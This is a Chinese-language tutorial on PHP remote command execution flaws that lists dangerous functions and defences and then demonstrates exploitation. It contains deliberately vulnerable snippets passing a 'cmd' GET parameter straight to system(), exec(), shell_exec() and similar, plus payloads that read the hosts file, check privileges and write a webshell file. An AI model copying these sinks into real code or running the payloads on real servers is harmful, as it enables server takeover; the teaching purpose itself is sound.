RCE 命令執行+代碼執行 漏洞


0x00 RCE漏洞 概述

  • RCE = 命令執行+代碼執行

漏洞的產生原因

  • 代碼層過濾不嚴。應用程序直接或間接使用了動態執行命令的危險函數 ,並且這個函數的運行參數是可控的

  • 系統的漏洞造成命令注入

漏洞的本質

  • 應用有時需要調用一些執行系統命令的函數,當服務器沒有嚴格過濾用戶提供的參數 時,就有可能導致用戶提交惡意代碼被服務器執行 ,從而造成命令執行漏洞。

涉及到的函數

  • PHP中常見的代碼執行函數

  • eval()、 assert()、 preg_replace()、create_function()

  • array_map()、call_user_func()、 call_user_func_array()、array_filter()

  • 命令執行函數

  • system()、exec()、 popen()、 passthru()、 shell_exec()、反引號(``)

0x01 RCE漏洞 原理

  • web應用對用戶的輸入沒有經過嚴格過濾就直接帶入危險函數中執行

0x02 RCE漏洞 危害

  1. 繼承 Web 服務器程序權限(Web 用戶權限),去執行系統命令

  2. 繼承 Web 服務器權限,讀寫文件

  3. 反彈 Shell

  4. 控制整個網站

  5. 控制整個服務器

0x03 RCE漏洞 防御

  1. 盡量 少使用執行命令函數 或者 禁用 disable_functions

  2. 在進入執行命令的函數之前,對參數進行過濾 ,對敏感字符進行轉義

  3. 參數值盡量使用引號包括 ,並在拼接前調用 addslashes 進行轉義

0x04 RCE漏洞 利用

相關函數使用

system()

  • 說明:能夠將字符串作為 OS 命令執行,自帶輸出功能

  • 測試參考代碼:

<meta charset='gb2312'>
<?php
if(isset($_GET['cmd']))
{
  echo "<pre>";
  system($_GET['cmd']);
}
?>
// 提交的URL:[?cmd= ipconfig]

passthru()

  • 說明:執行外部命令,與 system()類似,但是該函數會直接將結果輸出 ,無需輸出執行

  • 測試參考代碼:

<meta charset="gb2312">
<?php
if(isset($_GET['cmd']))
{
  echo "<pre>";
  passthru($_GET['cmd']);
}
// 提交的URL:[?cmd= ipconfig]

exec()

  • 說明:能將字符串作為 OS 命令執行,但無輸出 ,需要輸出執行結果

  • 注意:exec() 只輸出最后一行的數據

  • 測試參考代碼:

<meta charset = "gb2312">
<?php
if(isset($_GET['cmd']))
{
  echo "<pre>";
  print exec($_GET['cmd']);
}
?>
//  提交的URL:[?cmd=ipconfig]

shell_exec()

  • 說明 L 執行命令並以字符串的形式,返回完整的信息,但是函數無回顯 ,需要輸出執行結果

  • 測試參考代碼:

<meta charset = "gb2312">
<?php
if(isset($_GET['cmd']))
{
  echo "<pre>";
  print shell_exec($_GET['cmd']);
}
?>
//  提交的URL:[?cmd=ipconfig]

popen()

  • 說明:能夠執行 OS 命令,但是該函數並不是返回命令結果,而是返回一個文件指針

  • 測試參考代碼:

<meta charset = "gb2312">
<?php
if(isset($_GET['cmd']))
{
  $cmd=$_GET['cmd'].">> 1.txt";
  popen($cmd,'r');
}
?>
//  提交的URL:[?cmd=whoami]

``(反引號)

  • 說明:反引號[``]內的字符串,也會被解析成 OS 命令,背后調用的是 shell_exec() 函數

  • 測試參考代碼:

<meta charset = "gb2312">
<?php
if(isset($_GET['cmd']))
{
  $cmd=$_GET['cmd'];
  print `$cmd`;
}
?>
//  提交的URL:[?cmd=whoami]

漏洞利用過程

  • 權限問題

OS 命令注入漏洞,攻擊者直接繼承 WEB 用戶權限,在服務器上執行任意命令 ,危害特別大。以下命令均在 windows 系統下測試成功

  • 提權過程
  1. 查看系統文件

payload:[?cmd=type c:\windows\system32\drivers\etc\hosts],查看系統 hosts 文件

  1. 顯示當前路徑

payload:[?cmd=cd ]

  1. 顯示當前權限

payload:[?cmd=whoami ]

  1. 寫文件

payload:[?cmd=echo "" > C:\phpStudy\WWW\Command\shell.php]

頁面沒有報錯,說明文件寫入成功。訪問 shell.php 文件,同理我們可以寫入一個一句話木馬。

多命令執行語法

windows 系統

Linux 系統


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM